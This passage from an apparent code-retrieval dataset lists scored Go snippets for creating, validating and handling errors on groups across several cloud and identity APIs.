localVarHttpResponse.Header.Get(\"Content-Type\"));\n\t\t\t\tif err != nil {\n\t\t\t\t\tnewErr.error = err.Error()\n\t\t\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t\t\t}\n\t\t\t\tnewErr.model = v\n\t\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t}\n\t\t\n\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHttpResponse, nil\n}", "title": "" }, { "docid": "391ed588846d88d38994f5a9d650b60e", "score": "0.54030126", "text": "func NewDeleteApi24ProtectionGroupsHostGroupsBadRequest() *DeleteApi24ProtectionGroupsHostGroupsBadRequest {\n\treturn &DeleteApi24ProtectionGroupsHostGroupsBadRequest{}\n}", "title": "" }, { "docid": "a057e947190cb7b6e5bc5cb3e9a026e5", "score": "0.5400739", "text": "func NewQueryHostGroupsBadRequest() *QueryHostGroupsBadRequest {\n\treturn &QueryHostGroupsBadRequest{}\n}", "title": "" }, { "docid": "7cbf954d9c90976c4b6607276580c701", "score": "0.53845257", "text": "func NewInvalid(qualifiedKind schema.GroupKind, name string, errs field.ErrorList) *StatusError {\n\tcauses := make([]metav1.StatusCause, 0, len(errs))\n\tfor i := range errs {\n\t\terr := errs[i]\n\t\tcauses = append(causes, metav1.StatusCause{\n\t\t\tType: metav1.CauseType(err.Type),\n\t\t\tMessage: err.ErrorBody(),\n\t\t\tField: err.Field,\n\t\t})\n\t}\n\terr := &StatusError{metav1.Status{\n\t\tStatus: metav1.StatusFailure,\n\t\tCode: http.StatusUnprocessableEntity,\n\t\tReason: metav1.StatusReasonInvalid,\n\t\tDetails: &metav1.StatusDetails{\n\t\t\tGroup: qualifiedKind.Group,\n\t\t\tKind: qualifiedKind.Kind,\n\t\t\tName: name,\n\t\t\tCauses: causes,\n\t\t},\n\t}}\n\taggregatedErrs := errs.ToAggregate()\n\tif aggregatedErrs == nil {\n\t\terr.ErrStatus.Message = fmt.Sprintf(\"%s %q is invalid\", qualifiedKind.String(), name)\n\t} else {\n\t\terr.ErrStatus.Message = fmt.Sprintf(\"%s %q is invalid: %v\", qualifiedKind.String(), name, aggregatedErrs)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "3a408c1c186208bfeb4daf24d647c178", "score": "0.5366273", "text": "func EnsureGroup(cf *arm.ClientFactory, name, location string) error {\n\tclient := cf.NewGroupsClient()\n\t_, err := client.CreateOrUpdate(context.TODO(), name, resources.Group{Location: &location})\n\treturn err\n}", "title": "" }, { "docid": "057c8dadd2d08e3f87288765cda0e737", "score": "0.53527087", "text": "func TestDeleteNodeGroupDefault(t *testing.T) {\n\tth.SetupHTTP()\n\tdefer th.TeardownHTTP()\n\n\thandleDeleteNodeGroupDefault(t)\n\n\tsc := fake.ServiceClient()\n\tsc.Endpoint = sc.Endpoint + \"v1/\"\n\n\terr := nodegroups.Delete(sc, clusterUUID, nodeGroup2UUID).ExtractErr()\n\t_, isBadRequest := err.(gophercloud.ErrDefault400)\n\tth.AssertEquals(t, true, isBadRequest)\n}", "title": "" }, { "docid": "db535882df3bb703f71b31a01f8f5910", "score": "0.53446525", "text": "func NewCreateAzureResourceGroupBadRequest() *CreateAzureResourceGroupBadRequest {\n\n\treturn &CreateAzureResourceGroupBadRequest{}\n}", "title": "" }, { "docid": "d42230592c66ce2763ff897a95718a8e", "score": "0.53426015", "text": "func NewLeaveComputerFromGroupBadRequest() *LeaveComputerFromGroupBadRequest {\n\treturn &LeaveComputerFromGroupBadRequest{}\n}", "title": "" }, { "docid": "ee917444d258b0b0de543a8a42876ef7", "score": "0.5338607", "text": "func (o *S3GroupCreateDefault) Code() int {\n\treturn o._statusCode\n}", "title": "" }, { "docid": "e8521d6928b42673eaf9a6c3f43702a4", "score": "0.53346056", "text": "func CreateGroupHandler(w http.ResponseWriter, r *http.Request) {\n\tgroup := groupFromForm(r)\n\n\tdb := ConnectDB()\n\tdefer db.Close()\n\t// INSERT into groups\n\tGroupInsertQuery := \"INSERT INTO groups (group_name, status, admin, imagen) VALUES ($1,$2,$3,$4) RETURNING id\"\n\terr := db.QueryRow(GroupInsertQuery,\n\t\tgroup.Group_name, group.Status, group.Group_owner, group.Image).Scan(&group.Id)\n\t// Error handling and return\n\tif err != nil {\n\t\tlog.Printf(\"func\\tCreateGroupHandler:\\tError creating group:\\t%v\", err)\n\t} else {\n\t\tjson.NewEncoder(w).Encode(group.Id)\n\t\tlog.Printf(\"func\\tCreateGroupHandler:\\tSuccesfuly added group:\\t{%s}\\tid\\t%d to DataBase\", group.Group_name, group.Id)\n\t}\n}", "title": "" }, { "docid": "69b4112b800ec45c84ea3f932fd3680a", "score": "0.5330048", "text": "func (o *GetRuleGroupsBadRequest) Code() int {\n\treturn 400\n}", "title": "" }, { "docid": "473e9d07edaef6a43b6d358fa8374d28", "score": "0.5327396", "text": "func ExampleGroupsClient_Create() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclientFactory, err := armmigrate.NewClientFactory(\"<subscription-id>\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\tres, err := clientFactory.NewGroupsClient().Create(ctx, \"abgoyal-westEurope\", \"abgoyalWEselfhostb72bproject\", \"Group2\", &armmigrate.GroupsClientCreateOptions{Group: &armmigrate.Group{\n\t\tETag: to.Ptr(\"\\\"1e000c2c-0000-0d00-0000-5cdaa4190000\\\"\"),\n\t\tProperties: &armmigrate.GroupProperties{},\n\t},\n\t})\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to finish the request: %v\", err)\n\t}\n\t// You could use response here. We use blank identifier for just demo purposes.\n\t_ = res\n\t// If the HTTP response code is 200 as defined in example definition, your response structure would look as follows. Please pay attention that all the values in the output are fake values for just demo purposes.\n\t// res.Group = armmigrate.Group{\n\t// \tName: to.Ptr(\"Group2\"),\n\t// \tType: to.Ptr(\"Microsoft.Migrate/assessmentprojects/groups\"),\n\t// \tETag: to.Ptr(\"\\\"1e000c2c-0000-0d00-0000-5cdaa4190000\\\"\"),\n\t// \tID: to.Ptr(\"/subscriptions/6393a73f-8d55-47ef-b6dd-179b3e0c7910/resourceGroups/abgoyal-westeurope/providers/Microsoft.Migrate/assessmentprojects/abgoyalWEselfhostb72bproject/groups/Group2\"),\n\t// \tProperties: &armmigrate.GroupProperties{\n\t// \t\tAreAssessmentsRunning: to.Ptr(false),\n\t// \t\tAssessments: []*string{\n\t// \t\t},\n\t// \t\tCreatedTimestamp: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, \"2019-05-09T10:52:56.1574737Z\"); return t}()),\n\t// \t\tGroupStatus: to.Ptr(armmigrate.GroupStatusCompleted),\n\t// \t\tMachineCount: to.Ptr[int32](0),\n\t// \t\tUpdatedTimestamp: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, \"2019-05-14T11:18:49.5485462Z\"); return t}()),\n\t// \t},\n\t// }\n}", "title": "" }, { "docid": "67cf5745b67066fc59fa1cc1c7f14af7", "score": "0.5322419", "text": "func NewBadRequest(message string) *RestErr {\n\trestErr := RestErr{\n\t\tMessage: message,\n\t\tStatus: http.StatusBadRequest,\n\t\tError: \"bad_request\",\n\t}\n\n\treturn &restErr\n}", "title": "" }, { "docid": "b7e3c55e0a2e2185300ae1a011d22a21", "score": "0.5320849", "text": "func NewCreateGlobalMessageBadRequest() *CreateGlobalMessageBadRequest {\n\treturn &CreateGlobalMessageBadRequest{}\n}", "title": "" }, { "docid": "0bc79ec63f97616b7ccf32ce1f9a3603", "score": "0.5320458", "text": "func (s *GroupsService) Create(ctx context.Context, realm string, group *Group) (*http.Response, error) {\n\tu := fmt.Sprintf(\"admin/realms/%s/groups\", realm)\n\treq, err := s.keycloak.NewRequest(http.MethodPost, u, group)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn s.keycloak.Do(ctx, req, nil)\n}", "title": "" }, { "docid": "9b75bc539a16ee3e8e8de4b17c7379fa", "score": "0.532017", "text": "func (ctx *AddProjectContext) BadRequest() error {\n\tctx.ResponseData.WriteHeader(400)\n\treturn nil\n}", "title": "" }, { "docid": "a8ff507e4d2344e5bc8386c3fa507fee", "score": "0.53197294", "text": "func (rm *resourceManager) newCreateRequestPayload(\n\tctx context.Context,\n\tr *resource,\n) (*svcsdk.CreateFeatureGroupInput, error) {\n\tres := &svcsdk.CreateFeatureGroupInput{}\n\n\tif r.ko.Spec.Description != nil {\n\t\tres.SetDescription(*r.ko.Spec.Description)\n\t}\n\tif r.ko.Spec.EventTimeFeatureName != nil {\n\t\tres.SetEventTimeFeatureName(*r.ko.Spec.EventTimeFeatureName)\n\t}\n\tif r.ko.Spec.FeatureDefinitions != nil {\n\t\tf2 := []*svcsdk.FeatureDefinition{}\n\t\tfor _, f2iter := range r.ko.Spec.FeatureDefinitions {\n\t\t\tf2elem := &svcsdk.FeatureDefinition{}\n\t\t\tif f2iter.FeatureName != nil {\n\t\t\t\tf2elem.SetFeatureName(*f2iter.FeatureName)\n\t\t\t}\n\t\t\tif f2iter.FeatureType != nil {\n\t\t\t\tf2elem.SetFeatureType(*f2iter.FeatureType)\n\t\t\t}\n\t\t\tf2 = append(f2, f2elem)\n\t\t}\n\t\tres.SetFeatureDefinitions(f2)\n\t}\n\tif r.ko.Spec.FeatureGroupName != nil {\n\t\tres.SetFeatureGroupName(*r.ko.Spec.FeatureGroupName)\n\t}\n\tif r.ko.Spec.OfflineStoreConfig != nil {\n\t\tf4 := &svcsdk.OfflineStoreConfig{}\n\t\tif r.ko.Spec.OfflineStoreConfig.DataCatalogConfig != nil {\n\t\t\tf4f0 := &svcsdk.DataCatalogConfig{}\n\t\t\tif r.ko.Spec.OfflineStoreConfig.DataCatalogConfig.Catalog != nil {\n\t\t\t\tf4f0.SetCatalog(*r.ko.Spec.OfflineStoreConfig.DataCatalogConfig.Catalog)\n\t\t\t}\n\t\t\tif r.ko.Spec.OfflineStoreConfig.DataCatalogConfig.Database != nil {\n\t\t\t\tf4f0.SetDatabase(*r.ko.Spec.OfflineStoreConfig.DataCatalogConfig.Database)\n\t\t\t}\n\t\t\tif r.ko.Spec.OfflineStoreConfig.DataCatalogConfig.TableName != nil {\n\t\t\t\tf4f0.SetTableName(*r.ko.Spec.OfflineStoreConfig.DataCatalogConfig.TableName)\n\t\t\t}\n\t\t\tf4.SetDataCatalogConfig(f4f0)\n\t\t}\n\t\tif r.ko.Spec.OfflineStoreConfig.DisableGlueTableCreation != nil {\n\t\t\tf4.SetDisableGlueTableCreation(*r.ko.Spec.OfflineStoreConfig.DisableGlueTableCreation)\n\t\t}\n\t\tif r.ko.Spec.OfflineStoreConfig.S3StorageConfig != nil {\n\t\t\tf4f2 := &svcsdk.S3StorageConfig{}\n\t\t\tif r.ko.Spec.OfflineStoreConfig.S3StorageConfig.KMSKeyID != nil {\n\t\t\t\tf4f2.SetKmsKeyId(*r.ko.Spec.OfflineStoreConfig.S3StorageConfig.KMSKeyID)\n\t\t\t}\n\t\t\tif r.ko.Spec.OfflineStoreConfig.S3StorageConfig.ResolvedOutputS3URI != nil {\n\t\t\t\tf4f2.SetResolvedOutputS3Uri(*r.ko.Spec.OfflineStoreConfig.S3StorageConfig.ResolvedOutputS3URI)\n\t\t\t}\n\t\t\tif r.ko.Spec.OfflineStoreConfig.S3StorageConfig.S3URI != nil {\n\t\t\t\tf4f2.SetS3Uri(*r.ko.Spec.OfflineStoreConfig.S3StorageConfig.S3URI)\n\t\t\t}\n\t\t\tf4.SetS3StorageConfig(f4f2)\n\t\t}\n\t\tres.SetOfflineStoreConfig(f4)\n\t}\n\tif r.ko.Spec.OnlineStoreConfig != nil {\n\t\tf5 := &svcsdk.OnlineStoreConfig{}\n\t\tif r.ko.Spec.OnlineStoreConfig.EnableOnlineStore != nil {\n\t\t\tf5.SetEnableOnlineStore(*r.ko.Spec.OnlineStoreConfig.EnableOnlineStore)\n\t\t}\n\t\tif r.ko.Spec.OnlineStoreConfig.SecurityConfig != nil {\n\t\t\tf5f1 := &svcsdk.OnlineStoreSecurityConfig{}\n\t\t\tif r.ko.Spec.OnlineStoreConfig.SecurityConfig.KMSKeyID != nil {\n\t\t\t\tf5f1.SetKmsKeyId(*r.ko.Spec.OnlineStoreConfig.SecurityConfig.KMSKeyID)\n\t\t\t}\n\t\t\tf5.SetSecurityConfig(f5f1)\n\t\t}\n\t\tres.SetOnlineStoreConfig(f5)\n\t}\n\tif r.ko.Spec.RecordIdentifierFeatureName != nil {\n\t\tres.SetRecordIdentifierFeatureName(*r.ko.Spec.RecordIdentifierFeatureName)\n\t}\n\tif r.ko.Spec.RoleARN != nil {\n\t\tres.SetRoleArn(*r.ko.Spec.RoleARN)\n\t}\n\tif r.ko.Spec.Tags != nil {\n\t\tf8 := []*svcsdk.Tag{}\n\t\tfor _, f8iter := range r.ko.Spec.Tags {\n\t\t\tf8elem := &svcsdk.Tag{}\n\t\t\tif f8iter.Key != nil {\n\t\t\t\tf8elem.SetKey(*f8iter.Key)\n\t\t\t}\n\t\t\tif f8iter.Value != nil {\n\t\t\t\tf8elem.SetValue(*f8iter.Value)\n\t\t\t}\n\t\t\tf8 = append(f8, f8elem)\n\t\t}\n\t\tres.SetTags(f8)\n\t}\n\n\treturn res, nil\n}", "title": "" }, { "docid": "b5baa6f517307b3a14dbb7c00b6792ac", "score": "0.5303769", "text": "func (rm *resourceManager) newCreateRequestPayload(\n\tctx context.Context,\n\tr *resource,\n) (*svcsdk.CreateReplicationGroupInput, error) {\n\tres := &svcsdk.CreateReplicationGroupInput{}\n\n\tif r.ko.Spec.AtRestEncryptionEnabled != nil {\n\t\tres.SetAtRestEncryptionEnabled(*r.ko.Spec.AtRestEncryptionEnabled)\n\t}\n\tif r.ko.Spec.AuthToken != nil {\n\t\ttmpSecret, err := rm.rr.SecretValueFromReference(ctx, r.ko.Spec.AuthToken)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif tmpSecret != \"\" {\n\t\t\tres.SetAuthToken(tmpSecret)\n\t\t}\n\t}\n\tif r.ko.Spec.AutomaticFailoverEnabled != nil {\n\t\tres.SetAutomaticFailoverEnabled(*r.ko.Spec.AutomaticFailoverEnabled)\n\t}\n\tif r.ko.Spec.CacheNodeType != nil {\n\t\tres.SetCacheNodeType(*r.ko.Spec.CacheNodeType)\n\t}\n\tif r.ko.Spec.CacheParameterGroupName != nil {\n\t\tres.SetCacheParameterGroupName(*r.ko.Spec.CacheParameterGroupName)\n\t}\n\tif r.ko.Spec.CacheSecurityGroupNames != nil {\n\t\tf5 := []*string{}\n\t\tfor _, f5iter := range r.ko.Spec.CacheSecurityGroupNames {\n\t\t\tvar f5elem string\n\t\t\tf5elem = *f5iter\n\t\t\tf5 = append(f5, &f5elem)\n\t\t}\n\t\tres.SetCacheSecurityGroupNames(f5)\n\t}\n\tif r.ko.Spec.CacheSubnetGroupName != nil {\n\t\tres.SetCacheSubnetGroupName(*r.ko.Spec.CacheSubnetGroupName)\n\t}\n\tif r.ko.Spec.Engine != nil {\n\t\tres.SetEngine(*r.ko.Spec.Engine)\n\t}\n\tif r.ko.Spec.EngineVersion != nil {\n\t\tres.SetEngineVersion(*r.ko.Spec.EngineVersion)\n\t}\n\tif r.ko.Spec.KMSKeyID != nil {\n\t\tres.SetKmsKeyId(*r.ko.Spec.KMSKeyID)\n\t}\n\tif r.ko.Spec.LogDeliveryConfigurations != nil {\n\t\tf10 := []*svcsdk.LogDeliveryConfigurationRequest{}\n\t\tfor _, f10iter := range r.ko.Spec.LogDeliveryConfigurations {\n\t\t\tf10elem := &svcsdk.LogDeliveryConfigurationRequest{}\n\t\t\tif f10iter.DestinationDetails != nil {\n\t\t\t\tf10elemf0 := &svcsdk.DestinationDetails{}\n\t\t\t\tif f10iter.DestinationDetails.CloudWatchLogsDetails != nil {\n\t\t\t\t\tf10elemf0f0 := &svcsdk.CloudWatchLogsDestinationDetails{}\n\t\t\t\t\tif f10iter.DestinationDetails.CloudWatchLogsDetails.LogGroup != nil {\n\t\t\t\t\t\tf10elemf0f0.SetLogGroup(*f10iter.DestinationDetails.CloudWatchLogsDetails.LogGroup)\n\t\t\t\t\t}\n\t\t\t\t\tf10elemf0.SetCloudWatchLogsDetails(f10elemf0f0)\n\t\t\t\t}\n\t\t\t\tif f10iter.DestinationDetails.KinesisFirehoseDetails != nil {\n\t\t\t\t\tf10elemf0f1 := &svcsdk.KinesisFirehoseDestinationDetails{}\n\t\t\t\t\tif f10iter.DestinationDetails.KinesisFirehoseDetails.DeliveryStream != nil {\n\t\t\t\t\t\tf10elemf0f1.SetDeliveryStream(*f10iter.DestinationDetails.KinesisFirehoseDetails.DeliveryStream)\n\t\t\t\t\t}\n\t\t\t\t\tf10elemf0.SetKinesisFirehoseDetails(f10elemf0f1)\n\t\t\t\t}\n\t\t\t\tf10elem.SetDestinationDetails(f10elemf0)\n\t\t\t}\n\t\t\tif f10iter.DestinationType != nil {\n\t\t\t\tf10elem.SetDestinationType(*f10iter.DestinationType)\n\t\t\t}\n\t\t\tif f10iter.Enabled != nil {\n\t\t\t\tf10elem.SetEnabled(*f10iter.Enabled)\n\t\t\t}\n\t\t\tif f10iter.LogFormat != nil {\n\t\t\t\tf10elem.SetLogFormat(*f10iter.LogFormat)\n\t\t\t}\n\t\t\tif f10iter.LogType != nil {\n\t\t\t\tf10elem.SetLogType(*f10iter.LogType)\n\t\t\t}\n\t\t\tf10 = append(f10, f10elem)\n\t\t}\n\t\tres.SetLogDeliveryConfigurations(f10)\n\t}\n\tif r.ko.Spec.MultiAZEnabled != nil {\n\t\tres.SetMultiAZEnabled(*r.ko.Spec.MultiAZEnabled)\n\t}\n\tif r.ko.Spec.NodeGroupConfiguration != nil {\n\t\tf12 := []*svcsdk.NodeGroupConfiguration{}\n\t\tfor _, f12iter := range r.ko.Spec.NodeGroupConfiguration {\n\t\t\tf12elem := &svcsdk.NodeGroupConfiguration{}\n\t\t\tif f12iter.NodeGroupID != nil {\n\t\t\t\tf12elem.SetNodeGroupId(*f12iter.NodeGroupID)\n\t\t\t}\n\t\t\tif f12iter.PrimaryAvailabilityZone != nil {\n\t\t\t\tf12elem.SetPrimaryAvailabilityZone(*f12iter.PrimaryAvailabilityZone)\n\t\t\t}\n\t\t\tif f12iter.PrimaryOutpostARN != nil {\n\t\t\t\tf12elem.SetPrimaryOutpostArn(*f12iter.PrimaryOutpostARN)\n\t\t\t}\n\t\t\tif f12iter.ReplicaAvailabilityZones != nil {\n\t\t\t\tf12elemf3 := []*string{}\n\t\t\t\tfor _, f12elemf3iter := range f12iter.ReplicaAvailabilityZones {\n\t\t\t\t\tvar f12elemf3elem string\n\t\t\t\t\tf12elemf3elem = *f12elemf3iter\n\t\t\t\t\tf12elemf3 = append(f12elemf3, &f12elemf3elem)\n\t\t\t\t}\n\t\t\t\tf12elem.SetReplicaAvailabilityZones(f12elemf3)\n\t\t\t}\n\t\t\tif f12iter.ReplicaCount != nil {\n\t\t\t\tf12elem.SetReplicaCount(*f12iter.ReplicaCount)\n\t\t\t}\n\t\t\tif f12iter.ReplicaOutpostARNs != nil {\n\t\t\t\tf12elemf5 := []*string{}\n\t\t\t\tfor _, f12elemf5iter := range f12iter.ReplicaOutpostARNs {\n\t\t\t\t\tvar f12elemf5elem string\n\t\t\t\t\tf12elemf5elem = *f12elemf5iter\n\t\t\t\t\tf12elemf5 = append(f12elemf5, &f12elemf5elem)\n\t\t\t\t}\n\t\t\t\tf12elem.SetReplicaOutpostArns(f12elemf5)\n\t\t\t}\n\t\t\tif f12iter.Slots != nil {\n\t\t\t\tf12elem.SetSlots(*f12iter.Slots)\n\t\t\t}\n\t\t\tf12 = append(f12, f12elem)\n\t\t}\n\t\tres.SetNodeGroupConfiguration(f12)\n\t}\n\tif r.ko.Spec.NotificationTopicARN != nil {\n\t\tres.SetNotificationTopicArn(*r.ko.Spec.NotificationTopicARN)\n\t}\n\tif r.ko.Spec.NumNodeGroups != nil {\n\t\tres.SetNumNodeGroups(*r.ko.Spec.NumNodeGroups)\n\t}\n\tif r.ko.Spec.Port != nil {\n\t\tres.SetPort(*r.ko.Spec.Port)\n\t}\n\tif r.ko.Spec.PreferredCacheClusterAZs != nil {\n\t\tf16 := []*string{}\n\t\tfor _, f16iter := range r.ko.Spec.PreferredCacheClusterAZs {\n\t\t\tvar f16elem string\n\t\t\tf16elem = *f16iter\n\t\t\tf16 = append(f16, &f16elem)\n\t\t}\n\t\tres.SetPreferredCacheClusterAZs(f16)\n\t}\n\tif r.ko.Spec.PreferredMaintenanceWindow != nil {\n\t\tres.SetPreferredMaintenanceWindow(*r.ko.Spec.PreferredMaintenanceWindow)\n\t}\n\tif r.ko.Spec.PrimaryClusterID != nil {\n\t\tres.SetPrimaryClusterId(*r.ko.Spec.PrimaryClusterID)\n\t}\n\tif r.ko.Spec.ReplicasPerNodeGroup != nil {\n\t\tres.SetReplicasPerNodeGroup(*r.ko.Spec.ReplicasPerNodeGroup)\n\t}\n\tif r.ko.Spec.ReplicationGroupDescription != nil {\n\t\tres.SetReplicationGroupDescription(*r.ko.Spec.ReplicationGroupDescription)\n\t}\n\tif r.ko.Spec.ReplicationGroupID != nil {\n\t\tres.SetReplicationGroupId(*r.ko.Spec.ReplicationGroupID)\n\t}\n\tif r.ko.Spec.SecurityGroupIDs != nil {\n\t\tf22 := []*string{}\n\t\tfor _, f22iter := range r.ko.Spec.SecurityGroupIDs {\n\t\t\tvar f22elem string\n\t\t\tf22elem = *f22iter\n\t\t\tf22 = append(f22, &f22elem)\n\t\t}\n\t\tres.SetSecurityGroupIds(f22)\n\t}\n\tif r.ko.Spec.SnapshotARNs != nil {\n\t\tf23 := []*string{}\n\t\tfor _, f23iter := range r.ko.Spec.SnapshotARNs {\n\t\t\tvar f23elem string\n\t\t\tf23elem = *f23iter\n\t\t\tf23 = append(f23, &f23elem)\n\t\t}\n\t\tres.SetSnapshotArns(f23)\n\t}\n\tif r.ko.Spec.SnapshotName != nil {\n\t\tres.SetSnapshotName(*r.ko.Spec.SnapshotName)\n\t}\n\tif r.ko.Spec.SnapshotRetentionLimit != nil {\n\t\tres.SetSnapshotRetentionLimit(*r.ko.Spec.SnapshotRetentionLimit)\n\t}\n\tif r.ko.Spec.SnapshotWindow != nil {\n\t\tres.SetSnapshotWindow(*r.ko.Spec.SnapshotWindow)\n\t}\n\tif r.ko.Spec.Tags != nil {\n\t\tf27 := []*svcsdk.Tag{}\n\t\tfor _, f27iter := range r.ko.Spec.Tags {\n\t\t\tf27elem := &svcsdk.Tag{}\n\t\t\tif f27iter.Key != nil {\n\t\t\t\tf27elem.SetKey(*f27iter.Key)\n\t\t\t}\n\t\t\tif f27iter.Value != nil {\n\t\t\t\tf27elem.SetValue(*f27iter.Value)\n\t\t\t}\n\t\t\tf27 = append(f27, f27elem)\n\t\t}\n\t\tres.SetTags(f27)\n\t}\n\tif r.ko.Spec.TransitEncryptionEnabled != nil {\n\t\tres.SetTransitEncryptionEnabled(*r.ko.Spec.TransitEncryptionEnabled)\n\t}\n\tif r.ko.Spec.UserGroupIDs != nil {\n\t\tf29 := []*string{}\n\t\tfor _, f29iter := range r.ko.Spec.UserGroupIDs {\n\t\t\tvar f29elem string\n\t\t\tf29elem = *f29iter\n\t\t\tf29 = append(f29, &f29elem)\n\t\t}\n\t\tres.SetUserGroupIds(f29)\n\t}\n\n\treturn res, nil\n}", "title": "" }, { "docid": "f048a847b77192d005a8a21b6935db71", "score": "0.53003275", "text": "func (o *CreateGroupDefault) Code() int {\n\treturn o._statusCode\n}", "title": "" }, { "docid": "7d747b19860a098e6728e82483c9bbd2", "score": "0.52924913", "text": "func (o *UpdateServerGroupBadRequest) Code() int {\n\treturn 400\n}", "title": "" }, { "docid": "722c62740ef5844f4eba100ffb21db5d", "score": "0.5292247", "text": "func (o *GetUserGroupsByIDBadRequest) Code() int {\n\treturn 400\n}", "title": "" }, { "docid": "6b9192093ac2a84c16e2c09cbd66a19a", "score": "0.5291403", "text": "func (c *RDS) CreateOptionGroup(req *CreateOptionGroupMessage) (resp *CreateOptionGroupResult, err error) {\n\tresp = &CreateOptionGroupResult{}\n\terr = c.client.Do(\"CreateOptionGroup\", \"POST\", \"/\", req, resp)\n\treturn\n}", "title": "" }, { "docid": "ceaf382318414144e9a45b2c4022a1a1", "score": "0.52875763", "text": "func (x *awsElastigroupService) Create(ctx context.Context, group InstanceGroup) (string, error) {\n\tinput := &awseg.CreateGroupInput{\n\t\tGroup: group.Obj().(*awseg.Group),\n\t}\n\n\toutput, err := x.svc.Create(ctx, input)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fi.ValueOf(output.Group.ID), nil\n}", "title": "" }, { "docid": "39e8fc35821d1bb1d6bfb06907f67364", "score": "0.5280266", "text": "func TestValidateGroupName(t *testing.T) {\n\tp := newTestProject()\n\terr := ValidateProject(p)\n\tassert.NoError(t, err)\n\tp.Spec.Roles[0].Groups = []string{\"mygroup\"}\n\terr = ValidateProject(p)\n\tassert.NoError(t, err)\n\tbadGroupNames := []string{\n\t\t\"\",\n\t\t\" \",\n\t\t\"my, group\",\n\t\t\"my,group\",\n\t\t\"my\\ngroup\",\n\t\t\"my\\rgroup\",\n\t}\n\tfor _, badName := range badGroupNames {\n\t\tp.Spec.Roles[0].Groups = []string{badName}\n\t\terr = ValidateProject(p)\n\t\tassert.Error(t, err)\n\t}\n\tgoodGroupNames := []string{\n\t\t\"my:group\",\n\t}\n\tfor _, goodName := range goodGroupNames {\n\t\tp.Spec.Roles[0].Groups = []string{goodName}\n\t\terr = ValidateProject(p)\n\t\tassert.NoError(t, err)\n\t}\n}", "title": "" }, { "docid": "9dbacd20b74b3647bc3540a33dbc7e72", "score": "0.5278459", "text": "func (token RefreshToken) CreateGroupFull(name string, provenance string, externalsyncidentifier string) {\n\turlStr := fmt.Sprintf(\"%s/2.0/groups\", boxAPIURL)\n\tclient := &http.Client{}\n\tjson := fmt.Sprintf(\"{\\\"name\\\": \\\"%s\\\", \\\"provenance\\\": \\\"%s\\\", \\\"external_sync_identifier\\\": \\\"%s\\\"}\", name, provenance, externalsyncidentifier)\n\tpayload := strings.NewReader(json)\n\treq, err := http.NewRequest(\"POST\", urlStr, payload)\n\treq.Header.Add(\"Authorization\", \"Bearer \"+token.AccessToken)\n\n\tif err != nil {\n\t\tdebug(httputil.DumpRequestOut(req, true))\n\t}\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tdebug(httputil.DumpResponse(resp, true))\n\t}\n\n\tif resp.StatusCode == 201 {\n\t\tfmt.Println(\"Success: Created group: \", name)\n\t}\n\n\tfmt.Println(\"response status: \", resp.Status)\n\tbody, _ := ioutil.ReadAll(resp.Body)\n\tfmt.Println(\"response body: \", string(body))\n}", "title": "" }, { "docid": "c54510a549fe36328ddbd3a36f3c2a6c", "score": "0.5269833", "text": "func NewMonitorGroupStartAllMonitorsInGroupBadRequest() *MonitorGroupStartAllMonitorsInGroupBadRequest {\n\treturn &MonitorGroupStartAllMonitorsInGroupBadRequest{}\n}", "title": "" }, { "docid": "edb5e77fb65b48724c31ad5b99adfe92", "score": "0.52618426", "text": "func (a *GroupApiService) CreateGroupExecute(r ApiCreateGroupRequest) (GroupOut, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue GroupOut\n\t)\n\n\tlocalBasePath, err := a.client.cfg.ServerURLWithContext(r.ctx, \"GroupApiService.CreateGroup\")\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, GenericOpenAPIError{error: err.Error()}\n\t}\n\n\tlocalVarPath := localBasePath + \"/groups/\"\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\tif r.group == nil {\n\t\treturn localVarReturnValue, nil, reportError(\"group is required and must be specified\")\n\t}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = r.group\n\treq, err := a.client.prepareRequest(r.ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(req)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tlocalVarHTTPResponse.Body = _ioutil.NopCloser(bytes.NewBuffer(localVarBody))\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, 